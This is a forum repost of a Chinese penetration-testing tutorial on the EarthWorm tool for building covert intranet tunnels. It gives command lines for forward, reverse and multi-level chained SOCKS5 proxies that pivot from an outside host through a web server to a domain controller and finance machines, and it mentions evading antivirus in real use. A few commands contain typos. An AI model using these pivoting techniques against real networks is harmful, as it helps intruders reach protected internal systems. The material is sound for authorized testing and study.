搜索

[22223] 2021-08-05_内网隐藏通信隧道技术——EW隧道

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-08-05_内网隐藏通信隧道技术——EW隧道 内 网 隐 藏 通 信 隧 道 技 术 — — E W 隧 道 L e m o n S e c   2 0 2 1 - 0 8 - 0 5 少 就 是 多 ， 慢 就 是 快 内 网 隐 藏 通 信 隧 道 技 术 内 网 隐 藏 通 信 隧 道 技 术 — — E W 隧 道 隧 道 E a r t h W o r m 中 的 应 用 在 渗 透 测 试 中 ， E W 很 好 用 ， 体 积 小 ， L i n u x 为 3 0 k b 左 右 ， w i n d o w s 为 5 6 k b 左 右 。 E W 是 一 套 便 携 式 的 网 络 穿 透 工 具 ， 具 有 S O C K S   v 5 服 务 架 设 和 端 口 转 发 两 大 核 心 功 能 ， 可 以 在 复 杂 的 网 络 环 境 下 完 成 网 络 穿 透 。 该 工 具 能 够 以 “ 正 向 ” 、 “ 反 向 ” 、 “ 多 级 级 联 ” 等 方 式 打 通 一 条 网 络 隧 道 ， 直 达 网 络 深 处 ， 现 在 使 用 人 数 较 多 ， 如 果 在 真 实 环 境 下 使 用 ， 需 要 免 杀 下 载 地 址 ：   h t t p s : / / g i t h u b . c o m / i d l e f i r e / e w 该 工 具 共 有 6 种 命 令 格 式 （ s s o c k s d 、 r c s o c k s 、 r s s o c k s 、 l c x _ l i s t e n 、 l c x _ t r a n ） - l   本 地 要 监 听 的 端 口 - f   要 主 动 连 接 的 i p - g   要 主 动 连 接 的 端 口 - d   要 反 弹 到 的 i p - e   要 反 弹 到 的 端 口 - s   工 作 模 式 工 作 模 式 支 持 如 下 ： l c x _ t r a n   正 向 t c p 端 口 转 发 ， 监 听 在 本 地 l c x _ s l a v e   反 向 t c p 转 发 客 户 端 l c x _ l i s t e n   反 向 t c p 服 务 端 s s o c k s d   创 建 正 向 s o c k s 代 理 服 务 端 ， 监 听 在 本 地 ， 直 接 把 当 前 环 境 s o c k s 代 理 出 去 r s s o c k s   创 建 反 向 s o c k s 代 理 服 务 端 r c s o c k s   反 向 s o c k s 代 理 客 户 端 使 用 方 法 ： 使 用 方 法 ： 以 下 所 有 样 例 ， 如 无 特 殊 说 明 代 理 端 口 均 为 1 0 8 0 ， 服 务 均 为 S O C K S v 5 代 理 服 务 . 1 .   正 向   S O C K S   v 5   服 务 器 $   . / e w   - s   s s o c k s d   - l   1 0 8 0 2 .   反 弹   S O C K S   v 5   服 务 器 这 个 操 作 具 体 分 两 步 ： a )   先 在 一 台 具 有 公 网   i p   的 主 机 A 上 运 行 以 下 命 令 ： $   . / e w   - s   r c s o c k s   - l   1 0 8 0   - e   8 8 8 8
b )   在 目 标 主 机 B 上 启 动   S O C K S   v 5   服 务   并 反 弹 到 公 网 主 机 的   8 8 8 8 端 口 $   . / e w   - s   r s s o c k s   - d   1 . 1 . 1 . 1   - e   8 8 8 8 成 功 。 3 .   多 级 级 联 工 具 中 自 带 的 三 条 端 口 转 发 指 令 ，   它 们 的 参 数 格 式 分 别 为 ： $   . / e w   - s   l c x _ l i s t e n   - l     1 0 8 0       - e   8 8 8 8     $   . / e w   - s   l c x _ t r a n       - l     1 0 8 0       - f   2 . 2 . 2 . 3   - g   9 9 9 9     $   . / e w   - s   l c x _ s l a v e     - d   1 . 1 . 1 . 1   - e   8 8 8 8         - f   2 . 2 . 2 . 3     - g     9 9 9 9 通 过 这 些 端 口 转 发 指 令 可 以 将 处 于 网 络 深 层 的 基 于 T C P 的 服 务 转 发 至 根 前 , 比 如   S O C K S   v 5 。 首 先 提 供 两 个 “ 二 级 级 联 ” 本 地 S O C K S 测 试 样 例 ： a )   l c x _ t r a n   的 用 法 $   . / e w   - s   s s o c k s d     - l   9 9 9 9 $   . / e w   - s   l c x _ t r a n   - l   1 0 8 0   - f   1 2 7 . 0 . 0 . 1   - g   9 9 9 9 b )   l c x _ l i s t e n 、 l c x _ s l a v e   的 用 法 $   . / e w   - s   l c x _ l i s t e n   - l   1 0 8 0   - e   8 8 8 8 $   . / e w   - s   s s o c k s d         - l   9 9 9 9 $   . / e w   - s   l c x _ s l a v e     - d   1 2 7 . 0 . 0 . 1   - e   8 8 8 8   - f   1 2 7 . 0 . 0 . 1   - g   9 9 9 9 再 提 供 一 个 “ 三 级 级 联 ” 的 本 地 S O C K S 测 试 用 例 以 供 参 考 ` $   . / e w   - s   r c s o c k s   - l   1 0 8 0   - e   8 8 8 8     $   . / e w   - s   l c x _ s l a v e   - d   1 2 7 . 0 . 0 . 1   - e   8 8 8 8   - f   1 2 7 . 0 . 0 . 1   - g   9 9 9 9     $   . / e w   - s   l c x _ l i s t e n   - l   9 9 9 9   - e   7 7 7 7     $   . / e w   - s   r s s o c k s   - d   1 2 7 . 0 . 0 . 1   - e   7 7 7 7 数 据 流 向 :   S O C K S   v 5   - >   1 0 8 0   - >   8 8 8 8   - >   9 9 9 9   - >   7 7 7 7   - >   r s s o c k s 机 器 机 器 I P 说 明 说 明 外 网 代 理 机 器 ： 1 9 2 . 1 6 8 . 2 7 . 1 5 7 内 网 w e b 服 务 器 ： 1 9 2 . 1 6 8 . 2 7 . 1 7 0   1 0 . 1 0 . 3 . 1 0 0 域 控 ： 1 0 . 1 0 . 3 . 6   1 0 . 1 0 . 2 1 . 5 财 务 独 立 内 网 机 器 ： 1 0 . 1 0 . 2 1 . 2   1 7 2 . 1 6 . 5 . 2 财 务 核 心 机 器 ： 1 7 2 . 1 6 . 5 . 5 正 向 正 向 S O C K S   v 5 服 务 器 服 务 器 以 下 命 令 使 用 目 标 为 其 拥 有 一 个 外 网 I P 地 址 的 情 况 ： 在 内 网 w e b 服 务 器 与 外 网 代 理 机 器 之 间 架 设 隧 道 ， 访 问 域 控
e w _ f o r _ W i n . e x e   - s   s s o c k s d   - l   9 9 9 9 执 行 上 述 操 作 ， 就 可 以 架 设 一 个 端 口 为 9 9 9 9 的 s o c k s 代 理 ， 然 后 可 以 使 用   P r o x i f i e r   添 加 这 个 I P 地 址 的 代 理 即 可 代 理 成 功 反 弹 反 弹 S O C K S 5 服 务 器 服 务 器 目 标 机 器 可 以 访 问 外 网 ： 公 网 代 理 机 器 （ w i n 1 0 ） 执 行 ： e w . e x e   - s   r c s o c k s   - l   1 0 0 8   - e   8 8 8 即 在 公 网 代 理 机 器 上 添 加 一 个 转 接 隧 道 ， 把 1 0 0 8 端 口 受 到 的 代 理 请 求 转 发 给 8 8 8 端 口
在 内 网 机 器 上 执 行 ： e w . e x e   - s   r s s o c k s   - d   1 9 2 . 1 6 8 . 2 7 . 1 5 7   - e   8 8 8 即 为 在 I P 地 址 为 1 9 2 . 1 6 8 . 2 7 . 1 5 7 的 机 器 上 启 动 S O C K S 5 服 务 并 弹 到 代 理 机 器 的 8 8 8 端 口 二 级 网 络 环 境 （ 二 级 网 络 环 境 （ a ） ） 假 设 有 以 下 机 器 ： A ： 双 网 卡 ， 有 公 网 I P ， 只 能 访 问 内 网 的 B 主 机   内 网 w e b 服 务 器 B ： 只 能 访 问 内 网 资 源 ， 无 法 访 问 外 网   域 控 首 先 要 通 过 A 向 B 传 送 E W ， 并 使 用 s s o c k s d 启 动 8 8 8 端 口 的 S O C K S 代 理 ：
B 上 执 行 ： e w _ f o r _ W i n . e x e   - s   s s o c k s d   - l   8 8 8 A 主 机 将 1 0 8 0 端 口 收 到 的 代 理 请 求 转 发 给 B （ 1 0 . 1 0 . 3 . 6 ） 的 8 8 8 端 口 ， 现 在 可 以 通 过 访 问 A 主 机 的 1 0 8 0 端 口 使 用 B 的 S O C K S 5 代 理 ： A 执 行 ： e w _ f o r _ W i n . e x e   - s   l c s _ t r a n   - l   1 0 8 0   1 0 . 1 0 . 3 . 6   - g   8 8 8 即 可 访 问 A 主 机 的 外 网 I P 的 1 0 8 0 端 口 ， 使 用 在 B 主 机 上 架 设 的 S O C K S 5 代 理 了 由 于 代 理 服 务 器 处 于 内 环 境 ， 所 以 无 法 访 问 百 度 。
代 理 成 功 二 级 网 络 环 境 （ 二 级 网 络 环 境 （ b ） ） A ： 无 公 网 I P ， 可 以 访 问 外 网 ， 无 法 访 问 内 网 资 源   内 网 w e b 服 务 器 B ： 只 能 访 问 内 网 资 源 ， 无 法 访 问 外 网   域 控 在 代 理 机 器 ， 内 网 域 控 ， 内 网 w e b 服 务 器 上 进 行 模 拟 ： 先 在 代 理 机 器 上 执 行 ： e w   - s   l c x _ l i s t e n   - l   1 0 8 0   - e   8 8 8 即 在 公 网 代 理 机 器 中 添 加 转 接 隧 道 ， 将 1 0 8 0 端 口 收 到 的 代 理 请 求 转 发 给 8 8 8 端 口 B 主 机 执 行 ， 利 用 s o c k s d 方 式 启 动 9 9 9 端 口 的 S O C K S 代 理 ： e w   - s   s s o c k s d   - l   9 9 9 A 主 机 执 行 ， 即 将 代 理 机 器 的 8 8 8 端 口 和 B 主 机 的 9 9 9 端 口 连 接 起 来 e m   - s   l c x _ s l o v e   - d   代 理 机 器 的 I P 地 址   - e   8 8 8   - f   B 主 机   - g   9 9 9 然 后 即 可 对 代 理 机 器 的 1 0 8 0 端 口 进 行 代 理 ：
代 理 服 务 器 为 内 网 ， 所 以 无 法 访 问 百 度 代 理 成 功 三 级 网 络 代 理 三 级 网 络 代 理 假 设 有 以 下 机 器 ： 外 网 代 理 机 器 A ： 无 公 网 I P ， 可 以 访 问 外 网   内 网 w e b 服 务 器 B ： 只 能 访 问 内 网 资 源 ， 无 法 访 问 外 网 ， 只 能 被 A 访 问   域 控 C ： 可 以 被 B 访 问 并 能 访 问 核 心 区 域   财 务 独 立 子 域 域 控 在 代 理 机 器 上 执 行 ， 将 1 0 8 0 端 口 收 到 的 代 理 请 求 转 发 到 8 8 8 端 口 ： e w   - s   r c s o c k s   - l   1 0 8 0   - e   8 8 8
在 A 主 机 上 将 代 理 机 器 的 8 8 8 端 口 与 B 主 机 的 9 9 9 端 口 连 接 起 来 ： e w   - s   l c x _ s l a v e   - d   代 理 机 器   - e   8 8 8   - f   B 主 机   - g   9 9 9 e w   - s   l c x _ s l a v e   - d   1 9 2 . 1 6 8 . 2 7 . 1 5 7   - e   8 8 8   - f   1 0 . 1 0 . 3 . 6   - g   9 9 9 在 B 主 机 上 将 9 9 9 端 口 收 到 的 代 理 请 求 转 发 到 7 7 7 端 口 ： e w   - s   l c x _ l i s t e n   - l   9 9 9   - e   7 7 7 在 C 主 机 上 启 动 S O C K S 5 服 务 并 反 弹 到 7 7 7 端 口 e w   - s   r s s o c k s   - d   B 主 机   - e   7 7 7 e w   - s   r s s o c k s   - d   1 0 . 1 0 . 2 1 . 5   - e   7 7 7 B 主 机 显 示 ： 代 理 服 务 器 为 内 网 服 务 器 ， 无 法 访 问 百 度
代 理 成 功 这 种 情 况 就 是 多 级 代 理 ， 在 渗 透 测 试 中 ， 遇 到 多 层 内 网 环 境 核 心 区 域 ， e w 可 以 实 现 多 级 代 理 传 输 反 弹 s h e l l 汇 总 渗 透 测 试 中 字 典 生 成 工 具 快 速 检 测 常 见 中 间 件 、 组 件 的 高 危 漏 洞 一 个 迷 你 的 信 息 泄 漏 批 量 扫 描 脚 本 信 息 收 集 | 漏 洞 挖 掘 ｜ 内 网 打 穿 ｜ 清 理 痕 迹 常 用 工 具   列 表 w e b s h e l l 大 合 集 K 8 工 具 合 集 本 文 作 者 ： Y L i o n ，   转 载 请 注 明 来 自 F r e e B u f . C O M
S t r u t s 2 全 漏 洞 扫 描 利 用 工 具 欢 迎 关 注 欢 迎 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理